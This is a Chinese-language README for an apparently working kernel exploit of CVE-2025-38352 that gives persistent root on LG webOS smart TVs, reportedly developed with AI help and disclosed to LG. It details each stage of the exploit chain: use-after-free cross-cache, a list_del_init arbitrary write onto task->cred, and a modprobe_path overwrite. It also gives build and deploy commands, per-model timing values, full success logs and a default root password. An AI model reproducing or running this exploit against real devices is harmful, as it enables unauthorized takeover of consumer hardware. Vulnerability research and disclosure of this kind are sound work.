针对 CVE-2025-38352(POSIX CPU 定时器竞态条件 / 释放后使用)的内核利用,可在运行内核 5.4.268(ARM64)的 LG webOS 智能电视上获得持久 root 权限。已在 4 种电视型号和多个固件版本上验证。已通过 LG 安全研究员计划(2026 年 2 月)负责任地披露。
基于 farazsth98 的 Chronomaly 构建。第 1 阶段 UAF 竞态逻辑和跨缓存基础设施经移植并适配至 ARM64;第 2–5 阶段采用全新的利用技术和针对真实硬件约束(模拟环境中不存在)的解决方案重新设计。在 Claude Opus 4.6 的协助下开发。
完整的漏洞分析、利用链详解及建议缓解措施请参阅 VULNERABILITY_REPORT.md。
prisoner 用户(uid=5038)获得持久内核 root(uid=0)此利用工具是作为负责任的安全研究的一部分开发的,并于 2026 年 2 月 7 日报告给 LG 安全研究员计划。仅以教育目的发布。请负责任使用,仅限用于你拥有的设备。作者不对因使用本软件导致的任何损坏、变砖、数据丢失或保修失效负责。本软件按“原样”提供,不附带任何担保。
原始方案中的任意递减操作缓慢且嘈杂:它通过 fork 的进程喷洒 1000 个 struct cred 对象,然后对目标 cred 的 EUID 字段进行 N 次递减。每次递减都是独立操作。这在时序宽松的 QEMU 中可以接受,但在真实硬件上并不可靠,因为中断驱动的页面回收可能会在两次操作之间窃取管道缓冲区页面。
本方案采用通过 list_del_init() 实现的单次任意写入取代了该操作。利用工具通过管道缓冲区覆盖 UAF 的 sigqueue 的 list_head.next 和 list_head.prev 指针。当内核出队待处理信号时(collect_signal() → list_del_init()),它会执行 prev->next = next(将伪造的 cred 地址写入 task_struct->cred)和 next->prev = prev(受控的副作用写入)。一次写入即可将进程的 cred 指针替换为指向包含全零 uid/gid 字段的伪造 cred 结构的指针。无需 cred 喷洒,无需 fork 进程,确定性强。
tee() 实现非破坏性读取 peek_pipe()原始利用在整个过程中对管道缓冲区使用破坏性 read() 调用。在 QEMU 中这没问题,因为页面不会在操作之间被窃取。在具有 4 个物理核心的真实硬件上,内核的每 CPU 页面列表(pcplist)会积极回收已释放的页面。破坏性读取会释放管道缓冲区的后备页面,该页面可能立即被硬件中断窃取,导致利用工具无法重新分配。
解决方案是使用 tee() 实现非破坏性管道读取原语。tee() 系统调用在两个管道之间复制管道数据而不消耗数据,从而保持原始管道缓冲区的后备页面被固定。这使得利用工具能够重复读取跨缓存管道缓冲区中的内核数据,而无需担心页面丢失。这对真实硬件上的可靠性至关重要。
原始利用喷洒 cred 对象并希望其中一个落在可预测的位置。本版本通过实施第二次跨缓存,在已知地址构造伪造的 cred 结构:分配一个新的 sigqueue(通过 tkill(SIGRTMIN+1)),从第一个管道缓冲区的堆泄漏中得知其地址,然后将该 sigqueue 的 slab 页面跨缓存到第二个管道缓冲区中。伪造的 cred 被写入第二个管道缓冲区中,恰好位于泄漏的 sigqueue 地址的页面偏移处。结果是伪造的 cred 位于确定的内核虚拟地址,无需猜测。
原始利用在第 2 阶段早期出队 SIGUSR2 以泄漏 UAF sigqueue 的地址。这会消耗该信号,因此原始利用需要另一种机制来进行最终写入。本版本从不需要 UAF sigqueue 自身的地址(堆泄漏来自管道缓冲区中相邻的 sigqueue 指针)。SIGUSR2 在所有五个阶段中保持待处理状态,其出队操作被用作最终的任意写入触发器。创建 UAF 的信号正是利用它进行出队的同一信号。
modprobe_path + socket(44) 提权伪造的 cred 结构具有 NULL 的 user_ns、user 和 group_info 指针(因为管道缓冲区在 uid/gid 字段之外被零初始化)。调用 setresuid()、fork() 或 exec() 会解引用这些 NULL 指针并导致内核恐慌。原始利用避免了这个问题,因为它的 cred 喷洒使用的是具有有效指针的真实 cred 对象。
解决方案:将 /proc/sys/kernel/modprobe 覆盖为指向负载脚本(/tmp/pwn),然后通过 socket(44, SOCK_STREAM, 0)(请求一个不存在的协议族)触发 call_usermodehelper。内核使用 init_cred(内核自身的根凭据,完全有效)执行 modprobe 辅助程序,从而绕过损坏的 cred。负载以完整 root 权限运行,可以执行任意操作。
第 4 阶段的关键窗口(将恶意指针写入管道缓冲区,然后触发信号出队)容易受到硬件中断从每 CPU 页面列表窃取管道缓冲区页面的影响。这在 QEMU 中不会发生。在真实硬件上,此窗口受到以下保护:使用 SCHED_FIFO 优先级(如果可用)和 sched_yield() 让待处理工作在内核进入关键部分之前在 CPU 上完成,再加上预先准备好的缓冲区内容,以最小化写入和触发之间的时间。当 SCHED_FIFO 不可用时(如在 webOS 上,prisoner 用户缺少 CAP_SYS_NICE),利用工具也会优雅地回退。
task_struct 偏移量逆向工程任意写入的目标是 task_struct->cred,这需要知道从 task_struct->pending(其地址从管道缓冲区泄漏)到 task_struct->cred 的字节偏移量。此偏移量取决于内核配置。0x80(128 字节)的偏移量是根据 LG webOS 内核源代码手动计算得出的,考虑了 CONFIG_KEYS=y、CONFIG_SYSVIPC=y 以及 ARM64 特定的结构布局和对齐。原始利用中的 x86_64 偏移量因不同的结构打包和配置选项而有所不同。
成功时,利用工具:
/proc/sys/kernel/modprobe 以作为 init 运行提权负载aarch64-linux-gnu-gcc)# macOS(需要第三方 tap)
brew tap messense/macos-cross-toolchains
brew install aarch64-unknown-linux-gnu
# Ubuntu/Debian
sudo apt-get install gcc-aarch64-linux-gnu
在运行利用工具之前,通过开发者模式在电视上安装 Homebrew Channel 应用。这样提权负载只需要提升其权限(快速、可靠),而不需要安装+提权(较慢、可能失败)。你可以使用 ares-install 或开发者管理器应用侧载:
ares-install org.webosbrew.hbchannel_0.7.3_all.ipk
如果 HBC 未预先安装,利用工具会尝试从 /tmp/hbchannel.ipk 安装它(由 deploy-webos.sh 部署),但这会增加可能失败的额外步骤。
# 1. 设置电视的 IP 和 SSH 密钥
# 电视的 IP 在 设置 > 网络 > Wi-Fi > 高级设置 中
# SSH 密钥由 LG 开发者模式应用生成 — 查找开发者管理器或 ares-setup-device 下载的密钥(通常名为 webos_rsa)
export WEBOS_IP="<TV_IP>"
export WEBOS_KEY="$HOME/.ssh/webos_rsa"
# 2. 构建并部署(deploy-webos.sh 会自动处理构建)
./deploy-webos.sh
# 3. 连接并运行
ssh -i "$WEBOS_KEY" -p 9922 -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa prisoner@$WEBOS_IP
/tmp/exploit-arm64
利用工具接受命令行参数形式的时序参数:
/tmp/exploit-arm64 [DELAY] [DELTA] [THRESHOLD]
如果未提供参数,则使用编译默认值(DELAY=31000,DELTA=50,THRESHOLD=3000)。
如果提供了 DELAY 但未提供 DELTA,则 DELTA 自动计算为 DELAY / 600(四舍五入到最接近的 5)。
观察利用工具输出并调整 DELAY:
Parent raced too late → 减小 DELAY
Parent raced too early → 增大 DELAY
当两条消息都出现时,说明时序接近 — 继续运行,利用工具最终应能命中竞态窗口。从编译默认值(31000)开始,然后相应调整。
/tmp/pwn 完成 — 它经常会超时(这很正常)。如有需要,请检查 /tmp/pwn.log 以手动确认负载已完成。ssh root@<TV_IP>
# 密码:alpine
[*] Chronomaly - CVE-2025-38352 - webOS ARM64
[*] Config: DELAY=30500 DELTA=50 THRESH=3000 EPOLL=250 SFD=60
[*] Initializing...
[*] Racing...
[*] getpid() timing: 165 ns
[+] Freed UAF sigqueue in parent process pid 28522
[+] Stage 2 - Cross-cache the UAF sigqueue's slab
[+] Reallocated UAF sigqueue slab as a pipe buffer data page
[+] Heap leak successful! Continuing...
[+] SIGUSR2 kept pending - UAF sigqueue stays in list
[+] Stage 3 - Cross-cache new sigqueue's slab to second pipe buffer
[+] fake_cred_addr = 0xffffff804908c820
[+] Stage 4 - Set up arbitrary write via UAF sigqueue
[+] Will write: *0xffffff8048591378 = 0xffffff804908c820
[+] SIGUSR2 still pending from Stage 1
[DEBUG] All sigqueue fields verified OK
[+] Stage 5 - Trigger arbitrary write via signal dequeue
[+] Signal dequeued successfully!
[+] Arbitrary write completed: task->cred now points to fake_cred
[+] Current EUID: 0, UID: 1213797240
██████╗ ██████╗ ██████╗ ████████╗ ██╗
██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝ ██║
██████╔╝██║ ██║██║ ██║ ██║ ██║
██╔══██╗██║ ██║██║ ██║ ██║ ╚═╝
██║ ██║╚██████╔╝╚██████╔╝ ██║ ██╗
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝
[+] ROOT ACHIEVED! EUID = 0
[+] modprobe -> /tmp/pwn
[+] Rooting payload executed!
[*] Chronomaly - CVE-2025-38352 - webOS ARM64
[*] Config: DELAY=30500 DELTA=50 THRESH=3000 EPOLL=250 SFD=60
[*] Initializing...
[*] Racing...
[*] getpid() timing: 165 ns
[+] Freed UAF sigqueue in parent process pid 28522
[+] Stage 2 - Cross-cache the UAF sigqueue's slab
[+] Reallocated UAF sigqueue slab as a pipe buffer data page
[+] Cleaning up all cross-cache allocations to prepare for next cross-cache
[+] Preparing task pending list for heap leaks
[DEBUG] Pipe buffer page dump (non-zero qwords):
[DEBUG] offset 0x960: 0xffffff804dbee2d0 [kernel ptr]
[DEBUG] offset 0x968: 0xffffff80485913f8 [kernel ptr]
[+] Heap leaks:
- UAF sigqueue page offset 0x960
- Other sigqueue 0xffffff804dbee2d0
- Task pending list addr 0xffffff80485913f8
[+] Heap leak successful! Continuing...
[+] SIGUSR2 kept pending - UAF sigqueue stays in list
[+] Stage 3 - Cross-cache new sigqueue's slab to second pipe buffer
[+] new_addr = 0xffffff804908c820 (page offset 0x820)
[+] Dequeuing SIGRTMIN+1 (2nd time) to free new sigqueue from slab 3...
[+] Freeing slab 3 page...
[+] Writing fake cred at page offset 0x820
[+] Reclaimed slab 3 page as second pipe buffer (with fake cred)
[+] fake_cred_addr = 0xffffff804908c820 (= new_addr from Stage 3 SIGRTMIN+1)
[+] Stage 4 - Set up arbitrary write via UAF sigqueue
[+] task_pending_list_addr = 0xffffff80485913f8
[+] cred_offset = 0x80 (128 bytes)
[+] task_cred_ptr_addr = 0xffffff8048591378
[+] fake_cred_addr = 0xffffff804908c820
[+] Will write: *0xffffff8048591378 = 0xffffff804908c820
[+] SIGUSR2 still pending from Stage 1
[-] SCHED_FIFO unavailable - proceeding anyway
[DEBUG] Verifying sigqueue fields in pipe buffer:
[DEBUG] list.next = 0xffffff804908c820 (expected 0xffffff804908c820) OK
[DEBUG] list.prev = 0xffffff8048591378 (expected 0xffffff8048591378) OK
[DEBUG] flags = 1 (expected 1) OK
[DEBUG] si_signo = 12 (expected 12 = SIGUSR2) OK
[DEBUG] All sigqueue fields verified OK
[+] Stage 5 - Trigger arbitrary write via signal dequeue
[+] Dequeuing ORIGINAL SIGUSR2 from Stage 1 (never dequeued until now)
[+] This triggers list_del_init: *0xffffff8048591378 = 0xffffff804908c820
[DEBUG] poll() returned 1, revents=0x1
[DEBUG] SIGUSR2 = 12, sigusr2_sfd = 5
[DEBUG] Key addresses for list_del_init:
[DEBUG] UAF.prev (entry->prev) = task_cred_ptr = 0xffffff8048591378
[DEBUG] UAF.next (entry->next) = fake_cred = 0xffffff804908c820
[DEBUG] fake_cred[0] should be task_pending_list = 0xffffff80485913f8
[DEBUG] Expected writes:
[DEBUG] *(0xffffff8048591378) = 0xffffff804908c820 (task->cred = fake_cred)
[DEBUG] *(0xffffff804908c828) = 0xffffff8048591378 (fake_cred.prev = task_cred_ptr)
[DEBUG] Verifying pipe buffers still valid...
[DEBUG] realloc_pipe read(0) = 0 (errno=1)
[DEBUG] About to call read(sigusr2_sfd) - this triggers list_del_init...
[DEBUG] NOTE: If it hangs here, the exploit has failed and you must start over.
[DEBUG] read() returned 128, errno=0 (Success)
[DEBUG] Blocking mode restored
[+] Signal dequeued successfully! (read 128 bytes)
[DEBUG] POST-DEQUEUE pipe buffer check:
[DEBUG] list.next = 0xffffff80417e9960
[DEBUG] list.prev = 0xffffff80417e9960
[DEBUG] Pointers changed by kernel (list_del_init applied to our page)
[+] Arbitrary write completed: task->cred now points to fake_cred
[+] Checking privileges...
[+] Current EUID: 0, UID: 1213797240
██████╗ ██████╗ ██████╗ ████████╗ ██╗
██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝ ██║
██████╔╝██║ ██║██║ ██║ ██║ ██║
██╔══██╗██║ ██║██║ ██║ ██║ ╚═╝
██║ ██║╚██████╔╝╚██████╔╝ ██║ ██╗
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝
[+] ROOT ACHIEVED! EUID = 0
[+] modprobe -> /tmp/pwn
[+] Rooting payload executed!
[+] Waiting for /tmp/pwn to finish...
[+] May take up to 5 minutes to finish.
原始贡献以 MIT 许可发布。源自 farazsth98 的 Chronomaly 的部分不包含在 MIT 授权范围内,因为上游项目在发布时未附带明确许可证。详情请参阅 LICENSE。
| 变量 | 默认值 | 描述 |
|---|
WEBOS_IP | 192.168.1.100 | 电视 IP 地址 |
WEBOS_PORT | 9922 | SSH 端口 |
WEBOS_USER | prisoner | SSH 用户 |
WEBOS_KEY | $HOME/.ssh/webos_rsa | SSH 密钥路径 |
| 电视型号 | OTA ID | DELAY | DELTA | THRESHOLD |
|---|
| OLED65C2PUA | HE_DTV_W22O_AFABATPU | 29700 | 50 | 3000 |
| 86QNED70AUA | HE_DTV_W25P_AFADATAA | 100000 | 165 | 3000 |
| OLED77C5PUA | HE_DTV_W25G_AFABATAA | 30500 | 50 | 3000 |
| OLED77G4WUA | HE_DTV_W24O_AFABATAA | 24500 | 50 | 2500 |
| OLED65C4PUA | HE_DTV_W24G_AFABATAA | 30000 | 50 | 3000 |
| OLED55C4PUA | HE_DTV_W24G_AFABATAA | 30300 | 50 | 3000 |
| OLED48C3AUB | - | 31300 | 50 | 3000 |
| OLED65C3PUA | HE_DTV_W23O_AFABJAAA | 27900 | 50 | 3000 |